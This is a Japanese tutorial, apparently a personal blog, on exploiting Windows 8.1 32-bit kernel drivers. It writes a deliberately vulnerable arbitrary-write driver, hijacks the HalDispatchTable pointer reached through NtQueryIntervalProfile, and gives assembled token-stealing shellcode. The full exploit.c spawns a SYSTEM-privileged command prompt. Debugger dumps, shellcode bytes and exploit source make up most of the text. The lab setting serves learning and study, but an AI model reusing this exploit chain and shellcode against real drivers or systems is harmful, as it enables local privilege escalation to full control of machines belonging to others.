Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる
Windowsにおいて、任意アドレス書き換え(arbitrary address write)の脆弱性があるデバイスドライバを作り、この脆弱性を利用した権限昇格をやってみる。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsで簡単なデバイスドライバを書いてみる」と同様の手順で、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。
HalDispatchTableの書き換えによるEIP奪取
任意アドレス書き換えを使い書き換える場所として、HalDispatchTableが広く知られている。 カーネルデバッグを用いて、内部APIであるNtQueryIntervalProfile関数の内容を調べてみると、次のようになる。
kd> u nt!NtQueryIntervalProfile nt!NtQueryIntervalProfile: 81b89ada 6a0c push 0Ch 81b89adc 686896a381 push offset nt!RtlpSparseBitmapCtxPrepareRanges+0x52 24 (81a39668) 81b89ae1 e8fa29deff call nt!_SEH_prolog4 (8196c4e0) 81b89ae6 64a124010000 mov eax,dword ptr fs:[00000124h] 81b89aec 8a985a010000 mov bl,byte ptr [eax+15Ah] 81b89af2 84db test bl,bl 81b89af4 741b je nt!NtQueryIntervalProfile+0x37 (81b89b11) 81b89af6 8365fc00 and dword ptr [ebp-4],0 kd> u (snip) kd> u nt!NtQueryIntervalProfile+0x3a: 81b89b14 e833000000 call nt!KeQueryIntervalProfile (81b89b4c) 81b89b19 8bc8 mov ecx,eax 81b89b1b 84db test bl,bl 81b89b1d 7421 je nt!NtQueryIntervalProfile+0x66 (81b89b40) 81b89b1f c745fc01000000 mov dword ptr [ebp-4],1 81b89b26 8b450c mov eax,dword ptr [ebp+0Ch] 81b89b29 8908 mov dword ptr [eax],ecx 81b89b2b c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh kd> u nt!KeQueryIntervalProfile nt!KeQueryIntervalProfile: 81b89b4c 8bff mov edi,edi 81b89b4e 55 push ebp 81b89b4f 8bec mov ebp,esp 81b89b51 83ec14 sub esp,14h 81b89b54 83f901 cmp ecx,1 81b89b57 7426 je nt!KeQueryIntervalProfile+0x33 (81b89b7f) 81b89b59 8d45fc lea eax,[ebp-4] 81b89b5c 894dec mov dword ptr [ebp-14h],ecx kd> u nt!KeQueryIntervalProfile+0x13: 81b89b5f 50 push eax 81b89b60 8d45ec lea eax,[ebp-14h] 81b89b63 50 push eax 81b89b64 6a10 push 10h 81b89b66 6a01 push 1 81b89b68 ff1554bfa481 call dword ptr [nt!HalDispatchTable+0x4 (81a4bf54)] 81b89b6e 85c0 test eax,eax 81b89b70 7814 js nt!KeQueryIntervalProfile+0x3a (81b89b86) kd> dps nt!HalDispatchTable 81a4bf50 00000004 81a4bf54 8184b29a hal!HaliQuerySystemInformation 81a4bf58 8184b54c hal!HalpSetSystemInformation 81a4bf5c 81bd9cda nt!xHalAllocatePmcCounterSet 81a4bf60 00000000 81a4bf64 8193b33a nt!HalExamineMBR 81a4bf68 81b955d6 nt!IoReadPartitionTable 81a4bf6c 81b883a8 nt!IoSetPartitionInformation 81a4bf70 81c7c2db nt!IoWritePartitionTable 81a4bf74 81963dde nt!xHalHandlerForBus 81a4bf78 8195d91a nt!PpmIdleDefaultCancel 81a4bf7c 8195d91a nt!PpmIdleDefaultCancel 81a4bf80 8184d456 hal!HaliInitPnpDriver 81a4bf84 8184cc78 hal!HaliInitPowerManagement 81a4bf88 8181d19a hal!HaliGetDmaAdapter 81a4bf8c 8184d2e8 hal!HaliGetInterruptTranslator 81a4bf90 81bd9d5a nt!xHalStartMirroring 81a4bf94 8195d8da nt!PoCancelDeviceNotify 81a4bf98 8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt 81a4bf9c 8184d4bc hal!HalpEndOfBoot 81a4bfa0 8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt 81a4bfa4 81810648 hal!HalAcpiGetTableDispatch 81a4bfa8 81821f4e hal!HaliSetPciErrorHandlerCallback 81a4bfac 00000000 81a4bfb0 00000001 81a4bfb4 00000002 81a4bfb8 819e1a28 nt!KseDsCallbackHookDriverStartIo 81a4bfbc 00000000 81a4bfc0 00000001 81a4bfc4 00000003 81a4bfc8 819e1a59 nt!KseDsCallbackHookDriverUnload 81a4bfcc 00000000
上の結果から、NtQueryIntervalProfile内でKeQueryIntervalProfileが呼ばれ、この中でnt!HalDispatchTable+0x4
にあるhal!HaliQuerySystemInformation
のポインタをcallしていることがわかる。
したがって、nt!HalDispatchTable+0x4
にあるアドレスを書き換えNtQueryIntervalProfile関数を呼ぶことで、任意のアドレスにジャンプさせることができる。
Visual Studioを起動し、テストコードを書いてみる。 プロジェクトのテンプレートは「Visual C++」→「General」→「Empty Project」を用いればよい。
/* test.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = 0x41414141; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); return 0; }
上のコードにあるように、nt!HalDispatchTable
のアドレスは次のようにして計算することができる。
- NtQuerySystemInformation関数を用い、システムモジュールの情報を取得する
- 1回目の呼び出しで必要なバッファサイズを取得し、確保したメモリに対して2回目の呼び出しを行う
- 取得した情報にあるモジュールリストの0番目のデータから、ntoskrnl.exe(カーネルイメージ)がロードされているカーネルアドレスを取得する
- シンボル
nt!HalDispatchTable
はntoskrnl.exeにてエクスポートされている
- シンボル
- ユーザ空間でntoskrnl.exeをロードし、
nt!HalDispatchTable
のあるアドレスを調べる - ユーザ空間におけるntoskrnl.exeのベースアドレスから
nt!HalDispatchTable
までのオフセットをカーネルアドレスに加えることで、カーネル内での実際のアドレスを計算する
カーネルデバッグを行った状態で上のコードを実行すると、システムがクラッシュし次のような出力が得られる。
*** Fatal System Error: 0x0000001e (0xC0000005,0x41414141,0x00000008,0x41414141) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. Connected to Windows 8 9600 x86 compatible target at (Tue Sep 15 21:48:54.344 20 15 (UTC + 9:00)), ptr64 FALSE Loading Kernel Symbols ............................................................... ................................................................ .................. Loading User Symbols .............. Loading unloaded module list ....... ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 1E, {c0000005, 41414141, 8, 41414141} *** WARNING: Unable to verify checksum for test.exe *** ERROR: Module load completed but symbols could not be loaded for test.exe Probably caused by : ntkrpamp.exe ( nt!KiFatalExceptionHandler+1a ) Followup: MachineOwner --------- nt!RtlpBreakWithStatusInstruction: 8196ca14 cc int 3 kd>
!analyze -v
を用いて、クラッシュの原因を調べると次のようになる。
kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 41414141, The address that the exception occurred at Arg3: 00000008, Parameter 0 of the exception Arg4: 41414141, Parameter 1 of the exception Debugging Details: ------------------ WRITE_ADDRESS: 41414141 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx FAULTING_IP: +65905f829693d56 41414141 ?? ??? EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 BUGCHECK_STR: 0x1E_c0000005_X DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT PROCESS_NAME: test.exe CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre EXCEPTION_RECORD: afac3b98 -- (.exr 0xffffffffafac3b98) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000008 Parameter[1]: 41414141 Attempt to execute non-executable address 41414141 TRAP_FRAME: afac3c74 -- (.trap 0xffffffffafac3c74) ErrCode = 00000010 eax=afac3cfc ebx=81b98a01 ecx=00000002 edx=81b98ada esi=00a0fcd0 edi=00000002 eip=41414141 esp=afac3ce8 ebp=afac3d10 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 41414141 ?? ??? Resetting default scope LAST_CONTROL_TRANSFER: from 819e8f17 to 8196ca14 STACK_TEXT: afac31e4 819e8f17 00000003 82b6a50f 00000065 nt!RtlpBreakWithStatusInstruction afac3238 819e8a31 81a7f138 afac3638 afac366c nt!KiBugCheckDebugBreak+0x1f afac360c 8196b5c6 0000001e c0000005 41414141 nt!KeBugCheck2+0x676 afac3630 8196b4fd 0000001e c0000005 41414141 nt!KiBugCheck2+0xc6 afac3650 819e6bc6 0000001e c0000005 41414141 nt!KeBugCheckEx+0x19 afac366c 819818b2 afac3b98 81a72280 afac3760 nt!KiFatalExceptionHandler+0x1a afac3690 81981884 afac3b98 81a72280 afac3760 nt!ExecuteHandler2+0x26 afac3750 818fefb9 afac3b98 afac3760 00010037 nt!ExecuteHandler+0x24 afac3b7c 8197d396 afac3b98 00000000 afac3c74 nt!KiDispatchException+0x101 afac3be8 8197fbdb 00000000 00000000 00000000 nt!KiDispatchTrapException+0x4e afac3be8 41414141 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 WARNING: Frame IP not in any known module. Following frames may be wrong. afac3ce4 81b98b6e 00000001 00000010 afac3cfc 0x41414141 afac3d10 81b98b19 82b6aa73 00000002 00a0fcd0 nt!KeQueryIntervalProfile+0x22 afac3d44 8197c657 00000002 00a0fe04 00a0fe34 nt!NtQueryIntervalProfile+0x3f afac3d44 7737d370 00000002 00a0fe04 00a0fe34 nt!KiSystemServicePostCall 00a0fcbc 7737ad4a 008a1965 00000002 00a0fe04 ntdll!KiFastSystemCallRet 00a0fcc0 008a1965 00000002 00a0fe04 008a104b ntdll!NtQueryIntervalProfile+0xa 00a0fe34 008a220e 00000001 00b1d340 00b20790 exploit+0x11965 00a0fe48 008a205a 289a9fe3 008a104b 008a104b exploit+0x1220e 00a0fea0 008a1eed 00a0feb0 008a2228 00a0fec4 exploit+0x1205a 00a0fea8 008a2228 00a0fec4 74f64198 7fe46000 exploit+0x11eed 00a0feb0 74f64198 7fe46000 74f64170 5d14e2df exploit+0x12228 00a0fec4 773632d1 7fe46000 5f510ea9 00000000 KERNEL32!BaseThreadInitThunk+0x24 00a0ff0c 7736329f ffffffff 7738f08b 00000000 ntdll!__RtlUserThreadStart+0x2b 00a0ff1c 00000000 008a104b 7fe46000 00000000 ntdll!_RtlUserThreadStart+0x1b (snip)
上の結果から、実際に0x41414141にジャンプしクラッシュしていることが確認できる。
Replace Token Shellcode
Windowsでの権限昇格では、プロセスの権限を表すTokenをSystemプロセスからコピーする手法が広く知られている。
カーネルモードではfsセグメントにKPCR構造体が置かれており、この構造体から次のようにしてプロセスリストまでたどることができる。
kd> dg fs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0030 81a70000 000047d8 Data RW Ac 0 Bg By P Nl 00000493 kd> dt _KPCR 81a70000 ntdll!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : 0xb5af0924 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : (null) +0x008 MxCsr : 0x1f80 +0x00c TssCopy : 0x8279e000 Void +0x010 ContextSwitches : 0xa9cfc +0x014 SetMemberCopy : 1 +0x018 Used_Self : 0x7f08f000 Void +0x01c SelfPcr : 0x81a70000 _KPCR +0x020 Prcb : 0x81a70120 _KPRCB +0x024 Irql : 0x1f '' +0x028 IRR : 0 +0x02c IrrActive : 0 +0x030 IDR : 0 +0x034 KdVersionBlock : 0x81a44dc8 Void +0x038 IDT : 0x80bd4400 _KIDTENTRY +0x03c GDT : 0x80bd4000 _KGDTENTRY +0x040 TSS : 0x8279e000 _KTSS +0x044 MajorVersion : 1 +0x046 MinorVersion : 1 +0x048 SetMember : 1 +0x04c StallScaleFactor : 0x8f7 +0x050 SpareUnused : 0 '' +0x051 Number : 0 '' +0x052 Spare0 : 0 '' +0x053 SecondLevelCacheAssociativity : 0 '' +0x054 VdmAlert : 0 +0x058 KernelReserved : [14] 0 +0x090 SecondLevelCacheSize : 0 +0x094 HalReserved : [16] 0x1000000 +0x0d4 InterruptMode : 0 +0x0d8 Spare1 : 0 '' +0x0dc KernelReserved2 : [17] 0 +0x120 PrcbData : _KPRCB kd> dt _KPRCB 81a70000+120 ntdll!_KPRCB +0x000 MinorVersion : 1 +0x002 MajorVersion : 1 +0x004 CurrentThread : 0xb88b2740 _KTHREAD (snip) kd> dt _KTHREAD 0xb88b2740 ntdll!_KTHREAD (snip) +0x070 ApcState : _KAPC_STATE (snip) kd> dt _KAPC_STATE 0xb88b2740+0x070 ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY [ 0xb88b27b0 - 0xb88b27b0 ] +0x010 Process : 0xb8967280 _KPROCESS +0x014 InProgressFlags : 0 '' +0x014 KernelApcInProgress : 0y0 +0x014 SpecialApcInProgress : 0y0 +0x015 KernelApcPending : 0 '' +0x016 UserApcPending : 0 '' kd> dt _EPROCESS 0xb8967280 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x0a0 ProcessLock : _EX_PUSH_LOCK +0x0a8 CreateTime : _LARGE_INTEGER 0x01d0efb7`ca392ea0 +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : 0x00000f6c Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0xa63a8d38 - 0xb89b0d38 ] (snip) +0x0ec Token : _EX_FAST_REF (snip) kd> dt _EX_FAST_REF 0xb8967280+0x0ec ntdll!_EX_FAST_REF +0x000 Object : 0xb5589bfb Void +0x000 RefCnt : 0y011 +0x000 Value : 0xb5589bfb
上において、EPROCESS構造体のTokenメンバが指している構造体がそのプロセスの権限を表している。
また、WindowsではPID 4が常にSystemプロセスとなっている。 したがって、プロセスリストをたどり、PID 4のEPROCESS構造体のTokenメンバの値を自身のEPROCESS構造体にコピーすることで、権限昇格を行うことができる。
>tasklist Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 184 K smss.exe 260 Services 0 812 K csrss.exe 340 Services 0 2,736 K wininit.exe 392 Services 0 3,024 K csrss.exe 400 RDP-Tcp#2 1 18,624 K winlogon.exe 428 RDP-Tcp#2 1 4,760 K (snip)
上の結果をもとに、Tokenをコピーするシェルコードを書いてみると次のようになる。
; replacetoken.asm .386 .model flat, stdcall .code start: pushad assume fs:nothing mov eax, fs:[124h] ; CurrentThread mov eax, [eax+80h] ; Process add eax, 0b8h ; ActiveProcessLinks push eax search_system: mov eax, [eax] ; Flink cmp dword ptr [eax-04h], 4 ; UniqueProcessId jne search_system mov edx, [eax+34h] ; Token pop eax search_process: mov eax, [eax] ; Flink cmp dword ptr [eax-04h], 41414141h ; UniqueProcessId jne search_process mov [eax+34h], edx ; Token popad ret end start
上のコードは関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。 また、コピー先のプロセスのPIDは0x41414141と仮置きしてある。 実際にシェルコードを用いる際は、これをGetCurrentProcessId関数で取得したPIDに置き換える。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml replacetoken.asm /link /subsystem:console >dumpbin /rawdata replacetoken.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file replacetoken.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00 `d¡$..........¸. 00401010: 00 00 50 8B 00 83 78 FC 04 75 F8 8B 50 34 58 8B ..P...xü.uø.P4X. 00401020: 00 81 78 FC 41 41 41 41 75 F5 89 50 34 61 C3 ..xüAAAAuõ.P4aà Summary 1000 .text >dumpbin /rawdata replacetoken.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3
エクスプロイトコードを書いてみる
ユーザ空間で実行可能メモリを確保した後作成したシェルコードを配置し、カーネルモードからこのアドレスにジャンプさせるエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; void replacePattern(char *buffer, int size, DWORD pattern, DWORD value) { for (int i = 0; i < size; i++) { if (*(DWORD *)(buffer + i) == pattern) { *(DWORD *)(buffer + i) = value; } } } int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3"; replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId()); LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(rwxMemory, shellcode, sizeof(shellcode)); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = (DWORD)rwxMemory; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread"); KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase; arg.value = (DWORD)KeGetCurrentThread; DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); WinExec("cmd", SW_SHOWNORMAL); return 0; }
上のコードでは、NtQueryIntervalProfile関数によりシェルコードを実行させた後、WinExec関数でコマンドプロンプトを起動する。 また、他のプロセスがNtQueryIntervalProfile関数を実行した際にクラッシュしないよう、シェルコードを実行した後は書き換えたアドレスをKeGetCurrentThread関数のアドレスに書き戻している。
エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Dimitri Fourny | Driver write-what-where vulnerability
- Windows Device Driver Programming Part 2
- Introduction to Windows Kernel Exploitation – DVWD.sys | l0ca1hoSt
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 2 : Arbitrary Memory Overwrite exploitation using HalDispatchTable
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 4 : Stack-based Buffer Overflow exploitation (bypassing cookie)
- Norman Security Suite 8 - nprosec.sys Local Privilege Escalation 0day - Exploits Database
- Project Zero: One font vulnerability to rule them all #3: Windows 8.1 32-bit sandbox escape exploitation